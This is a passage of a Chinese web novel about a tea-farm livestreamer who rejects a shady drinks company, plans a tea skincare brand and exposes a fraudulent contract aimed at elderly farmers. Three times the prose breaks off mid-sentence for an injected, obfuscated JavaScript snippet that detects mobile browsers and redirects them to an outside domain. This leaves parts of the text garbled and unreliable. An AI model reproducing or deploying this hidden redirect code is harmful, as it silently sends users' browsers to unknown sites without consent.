他悻悻地收回手，瞪着Anna：“算你狠！”说完转身摔门而去，客厅里传来他气呼呼踢椅子的声音。 与此同时，夏绵洗漱完坐在写字台前，打开笔记本电脑想整理今天的订单，屏幕右下角突然弹出个邮件提醒。 发件人是“深井冰公司合作部”，标题写着“关于茶门信徒联名茶饮合作事宜”。 她心里一动，点开邮件。 里面大致说深井冰公司的运营总监看了她的直播，觉得东岚村的茶叶很有特色，想合作打造一款联名茶饮料，还附了初步方案，对方承诺会投入重金推广，连预期销量都写得清清楚楚。 夏绵的眼睛落在“深井冰公司”五个字上，眉头皱了起来。 这个公司她有印象。 前阵子刷微博新闻，看到过这家公司的丑闻。 老板仗着有钱有势，长期霸凌女员工，最后逼得一个刚大学毕业的小姑娘从公司顶楼跳了下去结束了生命，后来这家公司花钱压了热搜，没几天就风平浪静了。 还有更早些时候，他们家的果汁饮料被爆出添加剂超标，菌群数量严重不合格，当时闹得挺大，后来他们请了一堆流量明星和小有名气的网红站台，引导粉丝“冲锋陷阵”，又把新闻热度压了下去。 夏绵盯着屏幕，手指悬在键盘上迟迟未动。 联名推广确实能让东岚茶被更多人知道，可一想到那些丑闻，她心里就烦得慌。 她做茶园直播，图的是让大家喝到放心茶，要是跟这种没底线的公司合作，不是打自己的脸吗？ 于是，夏绵点开回复框，郑重地敲下一行字： “感谢贵公司的认可，但“茶门信徒”主理人农事繁忙，目前暂不考虑与贵公司合作，望理解。” 发送完毕，关掉邮件，夏绵长舒一口气。 赚钱重要，可心里的踏实更重要。 * 几天过后，东岚村村委会的院子里摆了张长条木桌，陶风把笔记本电脑架在桌上，屏幕正对着农科院的孔教授。 夏绵搬来几把竹椅，和Anna一左一右坐定，林望抱着个西瓜在旁边转悠，时不时瞥一眼电脑屏幕里的白胡子老教授。 “孔教授，这几位都是《以茶养肤企划案》的核心成员。” 陶风调试着摄像头，声音透过麦克风传过去，“夏绵是东岚茶园的主理人，Anna是品牌方代表，林望……是来凑热闹的。” “谁凑热闹了？”林望不服气地哼了声，“我可是你们潜在的投资方，你们得对我放尊重点！” 孔教授笑了笑，说道：“年轻人热闹点好，有活力。小陶，你把你们的想法跟我说说，上次你在电话里没讲透。” “好。” 陶风拿起桌上一片茶叶，清了清嗓子： “茶叶里的茶多酚、氨基酸和维生素，都是天然的抗氧化剂，能抑制自由基活性，延缓皮肤老化。东岚村的茶树生长在高海拔山区，昼夜温差大，茶多酚含量比普通茶叶高30%，用来做护肤原料再合适不过。” 他翻开笔记本，里面画着详 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084744|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细的成分提取流程图，“我们计划用低温冷萃技术，保留茶叶的活性成分，避免高温破坏营养……” 夏绵等陶风说完，接过话头：“很多人不知道，东岚茶还有个特点，是用山泉水灌溉的，水里含天然矿物质，茶叶吸收后，自带一种温润的质地。去年做茶酥的时候，我手上沾了茶汁，那一下午的时间，我觉得手部的皮肤都变细腻了。” 她拿起一小袋封装好的茶叶，对着镜头展示，“教授您看这叶片，厚实饱满，冲泡后汤色清亮，用来做护肤品，想来也会带着股茶的清润。” 一直认真倾听陶风和夏绵发言的Anna也往前凑了凑： “我创立品牌的初衷，是想让传统文化走出国门。国外媒体提到东方护肤，总想到日韩两国，其实我们的茶文化更深厚。茶叶不仅能喝，能养身，还能养肤，这种内外兼修的理念，值得被更多人知道。” Anna翻开带来的策划案，继续补充：“我们打算先从基础的爽肤水和面霜做起，外部包装用环保纸材，印上东岚茶园的手绘图案，既体现原生态和特色，又能有辨识度。” 孔教授听得认真：“你们这想法挺扎实，不是空中楼阁。陶风懂技术，夏绵懂茶叶，Anna懂市场，三者结合，成功的概率不小。”他思忖片刻，最后对着屏幕里几个眼睛亮得发光的年轻人宣布，“我回去就向上申请，把这个项目列为农科院与企业联合研发的重点项目，陶风，你来当主要负责人，需要什么支持尽管开口。” “资金方面不用担心。”Anna立刻接话，“只要有陶风和东岚茶在，品牌就一定能立起来。前期研发和生产线的投入，我们公司全权承担。 “那我要入股。”林望突然举手，“不能光让你们三个搭台唱戏，我也得占份儿。” Anna挑眉看他：“小股东可没发言权，除非你投够能影响决策的钱。” “切，别小瞧人。”林望拍了拍口袋，“小爷我的资产，绝对让你心服口服。” “先说好，投了钱也得听指挥。”Anna哼了声，转头问陶风和夏绵，“品牌名字想好了吗？必须要独树一帜，不能输给市面上的任何一家品牌。” 夏绵想了想：“既然是茶护肤品，目的是养肤，又带着咱们的茶文化，最好别用英文名字，显得不接地气。” “我同意。”林望点头，“得有东方韵味才行。” Anna的目光在夏绵和陶风身上来回流转，突然笑道：“不如就用陶风和夏绵的名字？“绵风”，听起来特别温柔。你们俩在网上那么多粉丝，热度一直居高不下，用你们的名字，相当于自带流量，省了不少宣传费。” 夏绵闻言脸微微发烫：“这会不会太高调了？好像在向所有人宣告什么似的……” “有什么高调的？”陶风把玩着U盘，声音温润，“就叫“绵风”吧，温温柔柔的像茶叶一样，挺贴切。” 夏绵侧目看了一眼旁边的男人，默默感叹：你怎么答应得这么爽快啊！真的不再好好想想吗？ 她还想再说什么，手机突然响了，屏幕上跳着一串陌生号码，她犹豫了一下接起来。 手机里对方的声音带着很明显的伪装的热情： “请问是“茶门信徒”的主理人，夏绵女士吗？我是深井冰公司的，昨天给您发过邮件，关于联名茶饮的合作，我们还想再跟您谈谈……” 22. 第二十二章 夏绵挂掉电话后按灭手机屏幕，陶风的视线便从策划案上移开：“怎么了？” “是深井冰公司。”夏绵把手机倒扣在桌上，“这几天他们连发了很多条合作请求，都被我拒绝了，刚刚又打电话说要把分成提到六成，还说要请明星推广。” 林望正往嘴里塞西瓜，听到是深井冰公司立马坐不住了：“那就一仗势欺人的小破公司，前阵子刚被网友曝出来饮料里有苍蝇，直到现在还没给人家一个道歉，这会儿倒敢来找咱们合作？” “这种靠博眼球起家的公司，眼里只有流量，不会把心思放在产品质量上，夏绵的做法很正确。”Anna看向夏绵，眼里满是欣赏，“你当直播主真是屈才了。等我们的品牌注册下来，市场总监这个位置非你不可，你懂产品，又懂市场，没人比你更合适。” 夏绵笑着摆手：“我还是守着茶园比较踏实些，你们都别给我戴高帽，我这人可不经夸喔。” 陶风敛起双眸，肩膀往夏绵那里靠了靠，声音清越：“她愿意做什么就做什么，不要勉强她。” Anna回了个OK的手势，“我们是初创公司，招聘人才尤其耗费心神，我做不来，你交给别人。” “这事不急。”陶风合起电脑：“品牌的事，我们先敲定研发周期，三天后我去农科院拿批文。” “正好我明天要去趟市里，”Anna翻开日程本，白皙纤长的手指划过纸面，“投资商那边要我汇报合作进展，顺便把注册材料交上去。” “那个……招聘员工的事情交给我来做吧！”林望自告奋勇。 “你？”Anna皱着眉头看向全身上下没一处看着靠谱的林望，“你不是医生吗？医生不都是大忙人吗？你不给我们捣乱就不错了。” “你少瞧不起人了！”林望丢掉西瓜皮，二郎腿一抬： “我哥们儿都是些招人嫌的闲散富二代，表面是自家公司的大总小总其实手里什么管理权都没有，我说服说服他们，看能不能拉个投资借个人手什么的。” Anna“哼”了一声，“那本小姐我等着看，你到底能带给公司什么好资源。” * 蒙蒙细雨下了一整夜。 从昨晚起，一直淅淅沥沥地下到今日清晨。 夏绵昨晚睡得很好，今早起得晚了些。她揉着惺忪的眼睛打开床边的的窗户，吹吹凉风让自己的脑袋清醒清醒。 雨水沿着窗瓦落在窗樘边缘，地板上凝结了几颗小而圆滚的水珠。 清晨的风夹杂着寒气，夏绵缩着身子打了个喷嚏，抬手正想关窗，却无意间看见楼下院子里的人影。 陶风，Anna和林望三人正在院子里吃早饭。 这几天大家忙着注册公司的事，平常除了直播卖货和打包快递就是聚在夏绵家里开小会。 “夏绵！”林望朝楼上招招手，“睡醒了就下来吃饭。” “哦，我这就来！” 夏绵应了一声，然后用最快的速度洗了把脸，换下睡衣。 幸好他们三个没有把小肉丸全吃掉，还好心地给她留了……两颗。 陶风用铅笔在纸上画着她看不懂的草稿图，林望抓着把花生抛着玩，借着接花生的动作故意打搅捧着搪瓷杯享受绿茶清香的Anna。 “你不能老老实实地坐着吃吗？” “你家住海里啊还管我站着吃、坐着吃、躺着吃？” “Crazy！” “假老外！” 夏绵坐在旁边，时不时往陶风的茶杯里添热水。 “我打算先从基础款爽肤水做起，”陶风拿起之前邱书记给的《东岚村茶史》：“用东岚春茶做原料，冷萃工艺能保留百分之八十的茶多酚。” Anna点头：“包装设计我让团队出了三版方案，明天带过来给你们看。”说完，她忽然想起什么，叮嘱道，“你明天千万别跟我一起去市里。” 陶风抬眉：“怎么了？” “我秘书刚发来的消息，”Anna搅动着杯子里的茶叶，重重地叹了口气，有些心累地解释： “你父亲和我父亲见了面，好像在商量让你接手香港新公司的事。还有，上次在你表妹订婚宴上，我听见他俩在打电话，说，如果你和我没意思，就让你跟我同父异母的妹妹相亲。” 她顿了顿，补充道：“我那个妹妹，昨晚刚到屿城。” 院子里一下静下来，只有墙角的蟋蟀和树上的夏蝉在放声叫唤。 夏绵捏着茶杯的手收紧，杯壁的温热也没驱散她手心里的凉。 陶风的眉头慢慢蹙起，眼神沉了沉。 他没想到陶然还没对自己死心。 “不是吧？”林望先炸了锅，“这都什么年代了，还搞包办婚姻？陶风你可不能对那些老古董妥协啊！”他说着，偷偷往夏绵那边瞥了眼，眼神里带着点小小的期待。 如果陶风要和别人结婚，那他是不是就又有机会追夏绵了？ 就在所有人几乎都静止的时候，陶风忽然站起身，走到夏绵面前。 他没看别人，只望着夏绵。 “你放心，”他说，轻柔的嗓音在雨雾的湿润下颇有几分撩人。 “我不会去相亲。” 夏绵心里一紧，抬头撞进他那双氤氲缱绻的眸子里。 “这辈子，我只和你做夫妻。” 她听到这句话，紧咬下唇，眼底骤然聚起的笑意慢慢荡漾开来。 林望脸上的期待瞬间垮下来，嘟囔着：“你也可以考虑考虑我啊……” Anna看气氛不对，拽着林望的胳膊就往外走：“跟我去看看姥姥的茶酥做好了没，不要在这儿当电灯泡！” 林望被她拖着往外走，还不忘回头喊：“夏绵你别担心，陶风如果变心和别的女人结婚，我们就先把他暴打一顿然后赶在他前面结婚！” 院子里只剩下陶风和夏绵。 晨风卷着丝瓜藤的影子，在青砖地上来回旋转。 夏绵低下头，盯着茶杯里浮起的茶叶，脸颊悄悄发烫。 “别听林望胡说。”陶风在她对面坐下，手轻轻敲了敲桌面，那清脆的声音将夏绵迷失在那句“这辈子，我只和你做夫妻。”的魂一下子拉了回来。 “我爸妈那边，我会处理。” 夏绵“嗯”了声，声音轻得像叹息。 她知道陶风不会骗她，可心里那点别扭劲儿怎么也散不去。 就像小时候藏在被窝里的糖，明知道不会被抢走，还是忍不住担心。 陶风忽然起身，往厨房走去。 夏绵听见水壶烧水的声音，还有橱柜被打开的轻响。 没过多久，他端着两碗甜汤出来，碗里飘着桂花的香。 “你睡着的时候我煮了桂花酒酿圆子汤，”他把碗推到她面前，“你昨晚说想尝尝我老家松萝的早饭，这是我最爱喝的甜汤。” 夏绵拿起勺子，舀了一勺送进嘴里。 圆子的甜混着桂花的香，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今天给大家看我们的夏茶，”她对着镜头露出一个招牌笑容，“大家快看这叶片，非常厚实，泡出来的茶汤带着股清甜味……” 直播到一半，林望突然出现在镜头里，手里举着个手机：“夏绵你快看！有人要害我们！” 夏绵凑近一看，只见深井冰公司的官微发了条微博，说要推出一款“东岚联名款”饮料，还配了张模糊的茶叶图片，评论区里已经炸开了锅，不少粉丝来私信茶门信徒，问是不是真的。 夏绵的脸色当即沉了沉，她关掉直播，深吸一口气。 看来，这深井冰公司是铁了心要蹭东岚茶的热度了。 “别生气，”林望轻轻拍了拍她的肩膀，“深井冰这种跳梁小丑，蹦跶不了多久。” 林望的话起不了安慰效果，夏绵心里总有种不好的预感。 她拿出手机，想给陶风打个电话，却发现屏幕上跳出一条新消息，是个陌生号码发来的： “夏小姐，我是陶风的父亲陶然，你方便和我见一面吗？我想跟你聊聊。” 夏绵盯着那条消息，手悬在屏幕上，半天没敢动。 她不知道这位突然出现的陶风父亲要找自己做什么，但直觉告诉她，不会是什么好事。 她握紧手机，犹豫了好一会儿才回复： “在哪里见面？” 陶然很快回了地址。 是镇上的一家咖啡馆。 23. 第二十三章 林望听说夏绵要去见陶风父亲，立刻拍着胸脯说不放心要同去。 “我跟你一起去，万一那老头为难你，我还能帮你说两句。实在不行，我就掏出手术刀吓唬吓唬他，虽然我这把是手术刀不是菜刀，但威慑力还是很强的！” 夏绵正对着直播架上的手机梳头发，闻言回头笑话他：“你当是街头打群架呢？小心被人家当成流氓！” “哎夏绵，你离安娜那个假老外远点啊不要跟她做朋友，你都变得跟她一样喊我流氓了！” “Anna尽力帮了我们很多，她还不计前嫌地让你住进了金风玉露阁，你不能诋毁人家。” 夏绵看向院门口，指着远处云雾缭绕的茶园，“深井冰公司在网上搞事，村里的老茶农们大多不会用智能手机，保不齐有人趁机煽风点火。你帮着邱书记盯紧点，尤其是后山那片老茶园，王阿公他们几个年纪大了，别让他们哄着签了什么不该签的东西。” 林望撇撇嘴，“你们就知道使唤我。”嘴上这么说，却已经掏出手机给邱书记打了电话，“邱叔，夏绵要去镇上一趟，茶园那边您多费心，我这就过去搭把手。”挂了电话，他又叮嘱夏绵，“有事一定给我打电话，别硬撑着。陶风他爸要是敢给你脸色看，等陶风回来我跟他告状。” 夏绵摆手推了他一把：“你快去忙吧，再磨蹭太阳都要下班回家了。” 林望一步三回头地往茶园走，刚走出没几步，一辆黑色轿车悄无声息地停在院门口老槐树下。 司机穿着挺括的制服，下车后恭敬地问：“是夏绵小姐吗？陶先生让我来接您。” 夏绵点头，拉开车门坐了进去。 真皮座椅带着点凉意，她下意识地往窗边挪了挪。 车子缓缓驶离东岚村，窗外的风景美得像被风吹动的画，而画里的一切正慢慢往后退。 可夏绵现在没心思欣赏美景。 陶风的父亲，那个只在陶风和陶浔还有Anna口中听过的男人，长得会是什么样子？ 是像大老板那样板着脸训话，还是像Anna描述的，说话时总带着点不容置疑的威严？ 他找自己，是为了陶风相亲的事吗？ 车子转过一个弯，眼前出现一片竹林。 阳光穿过竹叶的缝隙，在地上投下明明灭灭的光影，热得路人时不时就要抬手擦汗。 夏绵别过头，看着自己放在膝盖上的手，不知什么时候已经握成了拳。 她想起陶风上次帮自己搬茶篓的时候，看到他手腕上露出的几条浅淡疤痕。 他说是小时候爬树摔的，可她后来才从陶浔嘴里知道，是以前他母亲在下班路上被街头混混欺负，他以一敌三打架落下的伤疤。 这样的伤疤，在陶风的身上，有很多个。 原来那些从他口中说出的看似云淡风轻的过往，都藏着这样细密的痛楚。 车子缓缓驶进镇上，街两旁的店铺渐渐多了起来。 卖特色小吃的铺子里还冒着热气，几个老太太坐在路边的石阶上择菜，看见华贵的黑色轿车驶过，都忍不住抬头望两眼。 到了咖啡馆，司机引着夏绵往里走。 店里放着舒缓的钢琴曲，空气中飘着咖啡豆的焦香。靠窗的位置坐着个男人，穿着浅灰色西装，他慢悠悠端起咖啡杯的时候，手腕上露出的手表看着就价值连城。 陶然端着杯咖啡，目光望着窗外，手指有一下没一下地敲着桌面，节奏和钢琴曲莫名地合拍。 听见脚步声，他转过头来。 夏绵愣了一下。 眼前的男人并不是她想象中的那般“凶神恶煞”，相反，这位父亲的神态和陶风有些相似。 父子俩都是看着温润儒雅，实则待人接物都透着一股隐隐的淡漠疏离。 “夏小姐，请坐。”他抬手示意对面的已经拉开的椅子，声音不高，却带着种让人无法拒绝的沉稳。 夏绵在他对面坐下，刚想说点什么，服务员就端来了一杯抹茶拿铁，放在她面前。 “抱歉用这种唐突的方式约你出来。”陶然放下咖啡杯，先开了口： “我是陶风的父亲，陶然。” 夏绵点点头：“陶先生好。”她想说点什么打破沉默，可话到嘴边又咽了回去，手不自觉地攥紧袖口。 陶然似乎看出了她的局促，笑了笑，缓和气氛道： “不用紧张，我找你，不是反对你和陶风在一起。” 夏绵随即一愣，抬头看他。 “我和陶风……” 陶然顿了顿，像是在斟酌词句。 “我们父子俩，大概是父不知子，子不知父。”他说，“陶风小时候，我总觉得他性子太闷，不像我，也不像他妈妈。后来才明白，他只是把心思藏得深。” 夏绵没说话，握着咖啡杯静静地听着这位父亲的心里话。 “他十五岁那年，我想带他去国外读书，他不肯。我当时觉得这孩子太倔，一点也不懂我的苦心。后来从他姑姑嘴里才知道，他是怕我把他带走后，妈妈和妹妹就没人保护了。那时候他才那么点大，就已经在替别家人想了。” 夏绵拿起咖啡杯轻轻抿了一口，她突然想起，陶风记得她姥姥爱吃泸氏桃酥，所以他每次去镇上都会特意绕路买两盒带回去。还有，他看直播数据的时候总会特意找纸和笔记下哪个铁粉说过喜欢喝什么季节的茶，等下次直播时他就会多讲几句相关茶识。 这些温柔，都是陶风从小就刻进骨子里的本能。 “最近几年，我手里的生意都稳当下来，所以我总想着补偿他们兄妹俩。我想给陶风安排好的工作、给陶浔找最好的学校，可他们好像什么都不需要。” 陶然端起咖啡杯沉默了一会儿，像是终于承认了自己不愿意面对的事实：“我这个父亲，当得确实不称职。” 夏绵也不好说什么，只是摇摇头，假装安慰：“我从来没听过他抱怨您。” “他是不抱怨，可也不亲近。” 陶然笑了笑，那笑容里带着点无奈，“我今天跟你说这些，不是为了博取夏小姐你的同情，我只是想让你知道，我这个做父亲的，很想帮他们一把。陶风和陶浔的路，有我在，他们能走得更顺、更远些。” 为人父母，哪有不托举子女的道理？可夏绵已经听Anna说过，陶然和陶风剑拔弩张的父子关系难以调和。 这回，沉默许久的人是夏绵。 她握着杯子的手紧了紧，略一思忖，认真说道： “陶先生，您或许认为物质上的帮助就是最好的帮助，可对陶风来说，他更在意的是自己能不能做出成绩和我们的茶学能不能让更多人知道。您离开他的这十几年来，他的妈妈把他们兄妹俩照顾得很好，陶风懂茶，陶浔懂事，他们为人处世善良正义，一点没长歪。” 顿了顿，又说： “您或许也觉 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“我马上回去。”夏绵挂了电话，站起身，“陶先生，村里有点急事，我得先回去了。” 陶然也跟着站起来，忽然开口说：“那个叫深井冰的饮料公司，行事不怎么地道。”他看着夏绵，眼底带着笑意，提醒道，“这种不讲仁义的公司，最好别跟他们纠缠。” 夏绵愣了一下，疑惑他是如何得知深井冰公司想和自己合作的事。 “可他们现在在网上散播谣言，还想蹭东岚茶的热度，我总不能看着不管。” “阳奉阴违。” 这冷不丁的四个字让夏绵更加疑惑：“您的意思是……” “字面意思。”陶然微微一笑，抬手叫服务员结账。 司机送夏绵回村的路上，她一直在琢磨“阳奉阴违”这个成语。 是表面答应合作，暗地里找证据揭穿他们？还是假装没看见他们的小动作，暗地里收集他们造谣的证据？越想越觉得迷糊，像掉进了绕绕绳，怎么也理不清。 车子快到村口，夏绵远远就看见一群人围在老槐树下。 她让司机停在路边，自己快步跑了过去。 “夏绵姐，你可回来了！”陶浔手里举着个手机，慌慌张张地跑过来，还差点撞到她身上。 “出事了！” 夏绵扶住她：“别急，慢慢说。林望不是说王旭在收购茶树吗？” “不止！”陶浔把手机递给她，“你看这个！深井冰公司居然推出了东岚联名款饮料，包装跟咱们的茶叶罐非常相似，好多人都以为是咱们合作的！还有还有，网上好几个美食博主发视频，说咱们的茶叶里有沙子，不干净，评论区都吵翻了！” 夏绵接过手机，手指划着屏幕，脸色一点点沉了下来。视频里的饮料瓶上印着“东岚”两个字，字体和确实和她设计的茶叶包装袋上的很像，底下还写着几个大字：“天然茶萃取”。 实在是虚伪至极。 那些美食博主嘴里所谓的“沙子”，看着更像是他们自己故意撒进去的。 “王旭人呢？”夏绵问。 “被邱书记赶走了，”陶浔指着村头的方向，“但他说下午还来，还说要带什么律师过来，证明他们的收购合同是合法的。” 夏绵顿时有点喘不上气，她把手机还给陶浔，“走，去茶园看看。” 24. 第二十四章 夏绵和陶浔刚走进茶园，就看见林望和邱书记正围着几个老茶农说话。 王阿公手里拿着张纸，气得手都在抖：“他们说给这么多钱，我还以为是好事……” 她快步接过那张纸看了看，是份茶树转让合同，上面写着“一次性支付转让费，此后茶树所有权归乙方所有”，底下的乙方签名处，还没来得及下笔。 “这不是好事，是陷阱。”夏绵把合同还给王阿公，“阿公，他们收了茶树，万一用来做不好的东西，砸的是咱们东岚茶的招牌，所以这字咱签不得。” 林望双手抱胸，咬牙切齿：“我刚才查了，那个叫王旭的吹的那个什么深加工基地，根本没在工商局注册，就是个空壳公司。” “我就说天上不会掉馅饼。”邱书记抹了把额头上的汗，问夏绵，“我们现在应该怎么办？深井冰公司在网上闹得那么凶，咱们的茶叶订单都有开始退货的了。” 夏绵看着眼前的茶园，茶叶在清凉的微风里轻轻摇晃，它们自由又惬意地生长在这片土地上，从古至今，这绿叶给予了东岚山无数生机。 她不能向深井冰公司妥协。 她要让这绿色的生命继续蓬勃地活着。 “邱书记，麻烦您组织大家，咱们下午开个会，我要把合同的事说清楚。”又嘱托林望，“你帮我查一下深井冰公司的底细，还有那些发视频的博主，看看他们以前和深井冰有没有过商业上的合作。” 林望点头：“行，我这就去。” * 来围观的村民越来越多，邱云搬来两张茶桌放在院子里，方便他们喝水休息。她不懂夏绵和茶农们在做什么，但看大家一个个都忧心忡忡的，想必也不是什么好事。 她只希望她的宝贝绵丫头能顺利地帮大家度过这次难关。 “小绵，王旭那伙人说的是真的？两倍价钱收茶树，还不用咱们干活？”张阿婆手里攥着皱巴巴的宣传单，声音带颤，“我老伴儿昨天还念叨着，要是真能这样，明年就能给田儿和小麦凑齐以后三年的学费了。” 旁边的李嫂也跟着点头：“可不是嘛，他们还说签了合同就先付一半钱，我刚才都差点让我爸把印章拿来了。” 茶农们摆脱夏绵解答的问题一个接一个，夏绵被围在中间细细听着大家的诉求，把心里的那股躁意慢慢压下去。 她看了眼围在身边的被深井冰公司哄骗的茶农，大多是像王阿公这样在茶园辛勤劳作了大半辈子的老人，他们手上的每一条皱纹里都藏着对安稳日子的期盼，却没料到这期盼背后却藏着资本家的陷阱。 “大家先别急，”夏绵安抚道，转头对一直在叹气的邱书记说：“麻烦您把他们留下的合同样本拿出来，给大家念念。”眼看围观过来的村民越来越多，她特意指明，“尤其是付款方式那一条。” 邱书记连忙翻找文件袋，很快拿着几张纸出来，推了推老花镜，又清了清嗓子，这才念道： “乙方需将茶树经营权转让给甲方，期限为二十年。甲方每年支付乙方每亩地六千元，分季度结算……” “这不是挺好的吗？”人群里有人插话，“比咱们自己种茶强多了。” 夏绵接过合同，指尖划过纸面，停在某一行字上：“大家再听听这条，“若因不可抗力导致茶树无法正常产出，甲方有权暂停支付款项，且不承担任何赔偿责任。””她抬眼看向众人，“这里的“不可抗力”，他们故意没写清楚指的是什么。到时候他们要是说茶树不好、茶叶产量低，甚至随便找个理由说茶园的土壤不合格，就能一分钱不付，咱们的地却被他们占着，这二十年里，咱们什么都做不了，茶叶只能烂地里。” 王阿公愣了愣，浑浊的眼睛里渐渐浮出困惑：“可他们说……” “他们说的，和合同上写的，根本不是一回事。” 夏绵解释说，“他们给的价钱看着高，但二十年里只要他们想耍赖，咱们一分钱都拿不到。到时候地要不回来，钱也没有，这才是他们真正的目的。” 人群瞬间炸开了锅。 “绵丫头不愧是在大城市待过的人才，咱们种茶的哪懂这些弯弯绕绕。” “这不是坑人吗！” “我就说哪有这么好的事，原来是想骗咱们的地！” 王阿公气得直跺脚：“这帮天杀的！我刚才差点就信了他们的鬼话！” “走，找他们算账去！”有人急红了眼，撸起袖子就要往村外冲。 “等等！”夏绵伸手拦住激动的老人家，“现在去找他们，只会打草惊蛇。他们既然敢来，肯定早就想好了对策，咱们得先拿到证据，让他们没办法抵赖。” 她转头告诉邱书记：“能麻烦您把村委会大厅腾出来吗？我想约王旭过来谈谈，就说……我们考虑清楚了，想跟他详谈合作的事。” 精通人情世故的邱书记立刻明白了夏绵的意思，“没问题，我这就去安排。” “夏绵姐，你要假装跟他们合作？”陶浔眼睛瞪得圆圆的，“王旭会不会看出破绽啊？” 夏绵摸摸她的头笑了笑，眼底闪着一丝狡黠的光：“放心，他们眼里只有利益，只要咱们表现得够傻，他们只会觉得自己快要得手了。”她尽力安抚躁动不安的茶农们，先给上当受骗的老人吃个定心丸，“大家先回去，该干什么干什么，别让他们看出不对劲。等我拿到证据，咱们再跟他们算总账。” 围观的村民们这才慢慢散去，知道真相的茶农虽骂骂咧咧，但同时心里也多了几分安心，只要有夏绵在，那他们被骗着签好的合同就能要回来。 夏绵让邱书记给王旭打了电话，说定下午三点在村委会大厅谈合作。 挂了电话，她坐在椅子上，手指微微弯曲不停地轻扣着桌面，脑子里盘算着该怎么套话。 陶浔在旁边给她递了杯凉茶，四下望了望，问：“夏绵姐，林大哥呢？刚才乱糟糟的，我都没看到他。” “他有别的任务要做，暂时不能露面。”夏绵喝了口茶，凉茶的清苦顺着喉咙滑下去，让她混沌的脑子清醒了些，“等会儿王旭来了，你就待在隔壁办公室守着电脑，锁好门窗别出来。” “好，我记住了。” 三点整，村委会门口传来汽车引擎声。 夏绵起身走到窗边，看见王旭悠闲地下了车，他脸上还挂着奸计得逞的笑，夏绵只瞧一眼就觉得胃里犯恶心。 也不知道当初邱澜和他结婚图的是什么，估计是被这混混的花言巧语骗得她犯了“恋爱脑”。 “夏小姐，久等了。” 王旭走进大厅，目光在屋里扫了一圈，最后落在夏绵身上，“看来你是想通了？我就说嘛，识时务者为俊杰，你来跟我们公司合作，总比自己瞎折腾强，说真的，夏绵，你在这穷窝窝里卖力给那些老不死的赚钱，不如加入我们公司，人不为己天诛地灭。” 王旭挤眉弄眼地递给了夏绵几个眼神，明里暗里地让夏绵和他们狼狈为奸瓜分东岚茶园。 夏绵把他嘴里的话当做耳旁风，她坐在椅子上没动，脸上堆着恰到好处的笑容：“王经理，说实话，贵司给的条件确实让我心动，但村里的老人们担心……” “担心什么？”王旭打断她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084747|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，拉开椅子坐下，翘起二郎腿，神态流里流气，“担心我们公司不兑现承诺？夏小姐，我们深井冰可是饮料界的大公司，还能差你们这点钱？”说着，他从公文包里拿出几份合同，“我把合同带来了，只要你们签字，今天就能先付第一笔款。” 夏绵拿起合同，假装仔细查看，翻页后秀眉轻蹙：“只是……这期限二十年，是不是太长了点？万一中间有什么变动……茶农们也不知道该怎么应对。” “能有什么变动？”王旭嗤笑一声，语气带着不加掩饰的轻蔑，“夏小姐，不是我说，你们这些村里人就是想太多。那些老东西大字不识几个，能碰到这种好事，烧高香都来不及，还敢挑三拣四？” 夏绵的目光在那几张白纸黑字上梭巡了一下，头微微一点，抬眼看他：“可他们毕竟是土地的主人，要是他们不同意……” “不同意？”王旭像是听到了什么笑话，声音都拔高了些，“早上要不是那个书记拦着，我早就让他们签完了！那些老东西，几句好话一哄，再给点小恩小惠，还不乖乖听话？”他挪着椅子凑近了些，故意压低声音，“说句不好听的，那合同里的陷阱，他们就算看了也看不懂。什么不可抗力，还不就是我们说了算？等签了字，他们就等着哭吧！” 真是万恶不赦的资本家！不仅在网上欺负顾客还来村里欺骗老人！天道何在！ 夏绵的内心早已波涛汹涌，面上却不动声色：“王经理，你这话……” “我这话怎么了？”王旭得意地扬了扬下巴，“这都是骗那些大字不识的老东西的，跟你说实话，是看你还算机灵，识相点就赶紧签字，我们绝对少不了你的好处。” 王旭话音刚落，大厅的侧门突然“砰”地一声被推开，林望手里举着手机，屏幕还亮着，进来就喊：“王八蛋！你说的话我全都录下来了！” 王旭脸上的笑容瞬间僵住，他扭头看着笑而不语的夏绵，终于明白过来自己进了她设下的圈套。 “你他妈敢阴我！”他猛地站起来，想抬脚踹夏绵，幸亏夏绵机灵早已跑到林望身边。 “有本事就朝我来！”林望怒吼：“打女人算什么本事！” 王旭往地上啐了口唾沫，跑上前一把夺过林望手里的手机，狠狠摔在地上，手机“啪”地一声裂开，屏幕瞬间黑了下去。 “你以为录下来就有用吗？”王旭盯着林望，眼神狠毒，“现在证据没了，我看你们怎么跟我斗！” 林望气得浑身发抖：“你这个王八蛋！”说着，他一个箭步冲上去，挥起拳头往王旭脸上打。 王旭侧身躲过，从口袋里掏出一把折叠刀，打开来对着林望：“滚开！别逼我动手！” 林望没怕，还想往前冲，却被王旭抓住机会，一刀划在他的额头上。 没想到王旭真的会动手！ “林望！” 夏绵被这一幕吓得心跳失序，赶紧上前查看林望的伤势：“你没事吧！” 